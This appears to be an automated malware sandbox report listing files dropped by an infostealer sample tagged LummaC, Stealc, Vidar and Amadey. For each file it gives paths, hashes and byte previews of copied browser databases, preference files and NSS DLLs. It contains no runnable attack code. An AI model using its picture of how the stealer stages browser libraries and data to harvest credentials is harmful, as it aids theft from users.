	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	p5iu2ILQzE.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	build.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, XWorm	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	ByVoN4bhSU.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	QS4CbvR1WQ.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\BGIJJKKJJDAAAAAKFHJJDGDAFB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAEBFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCAFIDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678486598465375
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMjSA1LyKOMq+8iP5GDHP/0jMVum6:Kq+n0Jj91LyKOMq+8iP5GLP/0L
MD5:	5F0ED6E286B20FA878A302CF4E080F4C
SHA1:	43BCD72BFD20B6543DC467DBE2BCE1B43C62112C
SHA-256:	EA8A5E1FE0F20065FA67789AC5FCFC6C9B509943ACBC884C4C200667804A0827
SHA-512:	CA2F0B7855D855B32C63E615ACB68B1147C6C0A040CBAD4CB035FB47443800CFF75D37B0BFF6C4E448001507ED3C833CCB7A3C27B8AF53E85E9434EFC1A72099
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJECFIECBGDGCAAAEHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJKFBAAAFHJEBFIEGID

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJEHDHIEGIIIDHIDHDHJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ByVoN4bhSU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: QS4CbvR1WQ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ByVoN4bhSU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p5iu2ILQzE.exe, Detection: malicious, Browse Filename: build.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\23e9bcc0a0.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3f61c87d-53c9-4d73-b407-0110498c24de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.095078747932051
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWx6i1zNto+xNsKLFkyEsKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEjKtSmd6qE7lFoC
MD5:	E64466E750421AC46A84903F792DF66A
SHA1:	D256D1EBD3F36F996CFFC1A457E28D24DEC79BCD
SHA-256:	6B25DBD43BEF5192E68CA64B43EDAE2C34466915918F238A2447ADB95063B8CC
SHA-512:	385346E8F3059462BBBEE4A624640D9EBEFB6DE0798F30835D083206A8D3436121D5D19B6CACD9B9E047890123CD84C29EB7CF06766D0B4E8007F6DA047D60B2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\81b70bda-e8b8-4a27-9c5c-565e1e77124c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46433
Entropy (8bit):	6.086235510387073
Encrypted:	false
SSDEEP:	768:UMkbJrT8IeQcrQgxKVHJi1zNto+x9WwDwPJqhy1DhuCio2JDSgzMMd6qD47u30b:UMk1rT8HRKs5014Fo2tSmd6qE75
MD5:	CE90291A74D51D253A361735DAE3C890
SHA1:	D1FA284E9EEE19532B9CA80B89C75BC2C19025FB
SHA-256:	B4B8A23F412D22FB48BC5192A7251460F6EA5C06AF0653A65334F9B3884F3AF3
SHA-512:	703A3D92CBE034B6EAE2D8206692319B5EA445CD5EA57753412907124DB878296CBA9EF3C35F6A1274E44CBB8D762235C1C666D94111C1DB2FB32AB1F494E883
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375309958065380","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"807ccb3a-3451-4aa1-abd2-2f412ce727b1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8619ff85-8d16-469b-afed-b1e6d3c0b7ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46386
Entropy (8bit):	6.086476999649979
Encrypted:	false
SSDEEP:	768:UMkbJrT8IeQcrQgxKVHJi1zNto+x9WwDwPJqhy1DhuCio2JDSgzMMd6qD47u30b:UMk1rT8HRKc5014Fo2tSmd6qE75
MD5:	74E31DE56ED8ECFD75347C2F39E50940
SHA1:	6433651C31E6FADEDDE35E346DA0BC41485C29E6
SHA-256:	955F1EF7F072334B990C680302F1FA2DF39651660412880706C3AC722ED26DA6
SHA-512:	413DD16D52CE0FF8AB6E74F40D6AB977936413A84D03F19771452BE61C384A82597F4C793A6D63284C6CE3C7E7A6C7D5A56F77FFB2F68B89271E738478C3FD55
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375309958065380","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"807ccb3a-3451-4aa1-abd2-2f412ce727b1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\bff81cc3-493f-4570-aee7-bb98db41df49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
